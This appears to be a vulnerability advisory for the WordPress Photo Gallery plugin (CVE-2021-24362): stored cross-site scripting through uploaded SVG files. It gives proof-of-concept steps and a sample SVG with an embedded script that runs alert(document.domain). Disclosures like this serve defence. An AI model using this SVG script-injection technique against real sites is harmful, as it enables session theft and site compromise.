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WordPress Plugin Vulnerabilities

Photo Gallery < 1.5.75 - Stored Cross-Site Scripting via Uploaded SVG

Description

The plugin did not ensure that uploaded SVG files added to a gallery do not contain malicious content. As a result, users allowed to add images to gallery can upload an SVG file containing JavaScript code, which will be executed when accessing the image directly (ie in the /wp-content/uploads/photo-gallery/ folder), leading to a Cross-Site Scripting (XSS) issue

Proof of Concept

When editing or creating a gallery, Click 'Add Images' then 'Upload Files' and upload an SVG with JavaScript code, then access the uploaded image from the uploads folder directly, e.g https://example.com/wp-content/uploads/photo-gallery/xss.svg

Example of malicious SVG:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">alert(document.domain);</script>
</svg>
 

Affects Plugins

photo-gallery
No known fix

References

CVE
CVE-2021-24362

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

avolume

Verified

Yes

WPVDB ID
57823dcb-2149-47f7-aae2-d9f04dce851a

Timeline

Publicly Published

2021-07-18 (about 11 months ago)

Added

2021-07-19 (about 11 months ago)

Last Updated

2022-04-12 (about 2 months ago)

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